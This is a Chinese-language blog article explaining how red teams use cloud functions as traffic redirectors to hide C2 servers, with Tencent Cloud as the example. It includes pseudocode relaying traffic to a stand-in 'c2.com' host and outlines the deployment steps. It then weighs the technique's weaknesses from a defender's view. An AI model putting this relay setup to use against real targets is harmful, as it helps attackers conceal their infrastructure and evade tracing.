可锐资源网

技术资源分享平台,提供编程学习、网站建设、脚本开发教程

食之无味,弃之可惜——分析云函数攻击手法

前言

云函数,顾名思义,就是云厂商基于SaaS化服务,提供给用户的一种云端编程能力。

用户无需担心操作系统的运维、资源的调度、软件的环境等一系列事情,只需要部署代码,云厂商按调用次数收费。其本质是“无服务器(Serverless)”理念的一种实践,旨在降低程序员部署的工作量。

然而,在攻防场景下, 攻击者却可以基于此方法来转发恶意流量,达到隐藏C2的目的。

本文将详细介绍此手法的攻击细节,并实际复现该攻击的攻击方式和流程。

Red Team是怎么借力云函数来隐藏C2的

上一篇文章我们讲到,攻击方为了隐藏自己的C2(攻击资产),使用CDN服务器作为转发服务器,同时分析了从隐藏C2手法的演变历史。

云函数攻击与域前置类似,域前置是中间增加了一个CDN服务器进行中转,避免受害者直连攻击者C2,导致攻击资产暴露及溯源。

而云函数攻击中,充当转发器功能的,则是云厂商提供给用户的自定义函数功能。

以x讯云为例,其内部就支持 Python、Node、PHP、Go四种语言用于编写函数。

用户可编写如下伪代码,从而实现流量的转发。

def redirect(传入流量):

response=send 传入流量 to 'http://c2.com'

return response

同时,云厂商还会根据云函数生成唯一的路径url,攻击者将木马上线地址改为函数url,即可完成流量的转发和隐匿。

复现云函数手法

本文以x讯云为例,其他云提供商大同小异,此处不再累述。

首先新建云函数,使用helloworld模板。

填写写好的函数代码,这里测试地址使用测试域名进行测试。

访问测试域名,记录原始返回结果。

进入管理界面,点击函数URL,创建访问函数的URL地址。

部署完成后,测试函数url。

可以看到,正常转发返回了自己的域名结果。

我们测试成功了一个既可以根据get请求进行对应转发,也可以根据返回结果判定是否为下载文件返回,返回对应的文件功能的云函数部署代码。

隐藏利器还是鸡肋?

有心的同学应该已经发现,云函数只能实现对攻击者C2资产的隐藏,本质上只是承担了一个转发器的作用。

然而,在攻防演练场景下,云函数既不能做到像域前置攻击一样,伪装成高信誉网站,避免防守方进行封禁;

也无法做到,像域前置一样的,从CDN到攻击者资产链路全黑盒,很难溯源。

实际上,以x讯云云函数的触发url为例,其构成就是

http://{用户id} -{随机字符}.ap-guangzhou.tencentscf.com

域名的构成包含攻击者的用户ID,这对溯源攻击者无疑起到了极大的帮助。

最致命的是,云函数功能目前还未广泛普及。这就导致大部分防守方可能自身业务并没有云函数相关功能,防守方完全可以直接封禁与云函数相关的主域名,待攻防演练结束后再放行。

这样理论来讲,以云函数作为转发的恶意样本即使被攻击方投递并运行,也会被防火墙拦截相关流量,从而导致此种攻击手法失效,并在防守方产生告警。白白丢失自己的一阶段入侵的漏洞。

我们也在附录中收集了常见云服务厂商对应的云函数域名,供防守方结合自身实际进行参考。

附录

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言